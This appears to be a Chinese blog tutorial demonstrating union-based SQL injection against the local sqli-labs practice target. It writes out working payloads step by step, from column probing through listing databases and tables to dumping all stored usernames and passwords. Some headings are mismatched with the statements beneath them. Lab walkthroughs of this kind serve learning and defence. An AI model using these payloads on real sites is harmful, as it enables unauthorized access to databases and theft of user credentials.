如何通過SQL注入盜取數據庫信息


我們都是善良的銀!一生戎碼只為行俠仗義,知道這個不是為了做啥非法的事,只是知道小偷怎么偷東西才能更好地防范。

SQL注入(SQL Injection),SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。

下面我們用sqli-labs這個開源項目來演示一下SQL注入盜取信息的全程。
sqli-labs是一個sql注入的練習靶機,項目地址為:/sqli-labs

源碼是用php寫的,這里我使用的是docker部署的,如下
這里我是去store.docker.com搜索的鏡像使用:https://hub.docker.com/r/acgpiano/sqli-labs,我們運行一下

docker run -dt --name sqli-lab -p 8089:80 acgpiano/sqli-labs:latest

運行后打開http://127.0.0.1:8089/,界面如下

這是一個闖關的課程,一個有22課,接下來我們只會用到Less-1來演示,也就是單引號注入,但是核心原理其實都是通過UNIONt和CONCAT出對應的數據盜取信息。

更多技巧可以參考這篇文章:SQL注入篇——sqli-labs最詳細1-75闖關指南

打開:http://127.0.0.1:8089/Less-1/,看到如下內容

我們輸入id:http://127.0.0.1:8089/Less-1/?id=1,顯示了id為1的用戶

對應的php源碼是這樣的:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

相當於最后sql變成了

SELECT * FROM users WHERE id='1' LIMIT 0,1

知其然也知其所以然,歐耶~

數據庫結構

數據庫是這樣的

注入示例

下面使用Less-1的單引號注入來演示一下盜取信息的過程

我們把id改成:id=1' and 1=1 -- -,訪問

http://127.0.0.1:8089/Less-1/?id=1' and 1=1 -- -

可以正常訪問,說明可以用單引號注入,SQL語句相當於變成了

SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1

這就是傳說中的單引號注入,相當於構造出了下面這樣的語句

判斷共有多少字段

UNION SELECT 1,user(),database()­­ -- -

通過orderby試探,order by是可以直接指定字段的列來排序的,所以可以挨個試,
比如當我們使用order by 5,訪問

http://127.0.0.1:8089/Less-1/?id=1' order by 5 -- -

報錯了,說明不對

當我們用order by 3的時候,正常返回了,訪問地址:

http://127.0.0.1:8089/Less-1/?id=1' order by 3 -- -

正常返回了,說明字段有3個。

判斷字段的顯示位置

UNION SELECT 1,2,3 -- -

我們構造一下,訪問

http://127.0.0.1:8089/Less-1/?id='UNION SELECT 1,2,3 -- -


分別顯示2和3,說明登錄名和密碼字段在2和3的位置

顯示登錄用戶和數據庫名

UNION SELECT 1,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema = 'security' ),3 -- -

已經匹配出了字段,接下來的所有用戶信息都需要經過UNION相等的列來獲取,訪問

http://127.0.0.1:8089/Less-1/?id='  UNION SELECT 1,database(),user() -- -

我們看到當前使用的數據庫名叫security,連接的用戶是root超管

查看所有數據庫名

UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

訪問

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

其實原理就是構造出了這樣的語句

我們看到了數據庫有information_schema、challenges、mysql、performance_schema、security

查看數據庫的所有表名

UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -

訪問

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security') -- -

訪問如下

我們看到有emails、referers、uagents、users這四個表

查看表的所有字段

UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

訪問

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

可以看到用id、username、password3個字段

查看所有的用戶密碼

UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password))FROM users),3 -- -

訪問

http://127.0.0.1:8089/Less-1/?id=' UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password)) FROM users),3 -- -

用戶名和密碼全出來了,厲害了我的哥!

到這里,我們就學會了怎么把對方所有的隱私load出來了,有點可怕啊!你學會了嗎!以上內容由chenqionghe提供,light weight baby!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM